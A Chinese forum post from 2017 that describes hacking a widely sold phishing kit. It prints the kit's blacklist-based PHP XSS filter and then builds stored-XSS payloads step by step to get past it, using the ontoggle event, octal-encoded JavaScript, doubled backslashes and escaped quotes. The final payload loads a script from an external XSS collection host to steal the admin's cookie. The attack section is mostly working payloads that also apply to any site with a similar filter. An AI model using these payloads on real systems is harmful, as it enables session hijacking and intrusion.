攻破黑市最流行的钓鱼网站

2017-07-27 18:46:15 87 16412 13
这种类型的钓鱼网站最少有上百个了~我风在指尖今天要为民除害~~~

自己伪装成买家,花了150,从黑市买到这种钓鱼源码,开始进行研究

钓鱼站是这样的



看他的源码,我们得知,有专门的一个脚本用来过滤我们的XSS
过滤xss 脚本如下
<?PHP
function RemoveXSS($val) {
              //==========================//
            //                          //
            //随风 程序开发 QQ957223651 //
            //      此类用来防止XSS     //
            //==========================//

   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '1234567890!@#$%^&*()';
   $search .= '~`";:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
      $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val);
   }
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);

   $found = true;
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= '(';
               $pattern .= '(&#[xX]0{0,8}([9ab]);)';
               $pattern .= '|';
               $pattern .= '|(&#{0,8}([9|10|13]);)';
               $pattern .= ')*';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= '/i';
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);
         $val = preg_replace($pattern, $replacement, $val);
         if ($val_before == $val) {
            $found = false;
         }
      }
   }
   return $val;
}
?>
我们可以看到,能过滤的事件基本上都被对方过滤了

但是,像这种黑名单肯定都有不完善的地方没错
<details open="" ontoggle=alert``>
他没有过滤ontoggle事件并且也没过滤eval函数那么我们可以构造恶意代码、最常用的的写上

</TD><details open ontoggle=eval("\141\154\145\162\164\140\140")>
</Td> 是闭合标签,这里我们用了js8编码 \141\154\145\162\164\140\140 就是alert``  转换后的代码放入到对面查看试试 然后我们伪造成被钓鱼者,在钓鱼页面提交数据,把我们的payload插入到对方的 p12345变量中



然后我们进入到后台查看,却没有弹窗,这是为什么呢?



对其->右击->使用firebug 查看元素 看看为什么不能弹窗



对比查看
完整的代码
</TD><details open ontoggle=eval("\141\154\145\162\164\140\140")>
过滤后的代码
<details open=""141154145162164140140")">  </details>
把\ 过滤了 那么我们加两重绕过试试
</TD><details open ontoggle=eval("\\141\\154\\145\\162\\164\\140\\140")>
这段代码插进去试试看





成功弹窗,现在我们可以尝试 引用自己站点的代码了 。。。。。。。。。。。。。。。

源代码应该为
</TD><details open ontoggle=eval(var s=document.createElement('script');s.src='http://xss.tv/XA';document.body.appendChild(s);)>
直接放上去是不行的,我们要对其编码,使用JS8编码
</TD><details open ontoggle=eval("\166\141\162\40\163\75\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\47\163\143\162\151\160\164\47\51\73\163\56\163\162\143\75\47\150\164\164\160\72\57\57\170\163\163\56\164\166\57\130\101\47\73\144\157\143\165\155\145\156\164\56\142\157\144\171\56\141\160\160\145\156\144\103\150\151\154\144\50\163\51\73")>
然后把\改成\\ 绕过对方的过滤规则
</TD><details open ontoggle=eval("\\166\\141\\162\\40\\163\\75\\144\\157\\143\\165\\155\\145\\156\\164\\56\\143\\162\\145\\141\\164\\145\\105\\154\\145\\155\\145\\156\\164\\50\\47\\163\\143\\162\\151\\160\\164\\47\\51\\73\\163\\56\\163\\162\\143\\75\\47\\150\\164\\164\\160\\72\\57\\57\\170\\163\\163\\56\\164\\166\\57\\130\\101\\47\\73\\144\\157\\143\\165\\155\\145\\156\\164\\56\\142\\157\\144\\171\\56\\141\\160\\160\\145\\156\\144\\103\\150\\151\\154\\144\\50\\163\\51\\73")>
但是当我放上去的时候,并没有写到数据库,也就是说把 我这里的代码过滤了,到这里我百思不得其解,后来经过上百次测试,才知道,它限制的字符的长度,超过一定长度的字符,那么数据就不会被写入

那么只能不断的裁剪,不编码最终代码为
<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
是闭合掉前面的标签

<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
是引用我们XSS站点的代码,对方没有过滤document,只过滤了script

现在我们插入试试

依然没有成功执行,在继续看看对方的源码


将其复制出来,看看到底是什么原因


首先script标签被打乱了,并且多了个” 号,这很好绕过


前面我们看到过对方对JS8进制过滤不严格 可以对其JS8进制编码

我们再继续构造,把script转换成8进制,并且加上两个\\ 绕过对方过滤规则
"<details/open/ontoggle=document.body.appendChild(document.createElement('\\163\\143\\162\\151\\160\\164')).src='http://www.baidu.com'>
把script转换成JS8进制编码

把所有的” 号换成’ 号

这样构造


结果后台没有存储任何数据

后来才知道,  默认输入’单引号会被过滤,我们只能在’单引号前面加上\


最终的代码就是
"<details/open/ontoggle=document.body.appendChild(document.createElement(\'\\163\\143\\162\\151\\160\\164\')).src=\'http://xss.sssie.com/FMD27h\'>


然后自己进入后台查看



拿到cookie
自评TCV0

以下是我的XSS编码转换工具,基本上都是关于各种编码和转换的,还有社工字典生成, 大部分并非我原创,我只是把别人趴下来,放到自己源码里离线用 ,所以工具免费共享给各位,也希望各位传播的时候,不要收费

关于作者

风在指尖89篇文章882篇回复

我是真的菜

评论87次

要评论?请先  登录  或  注册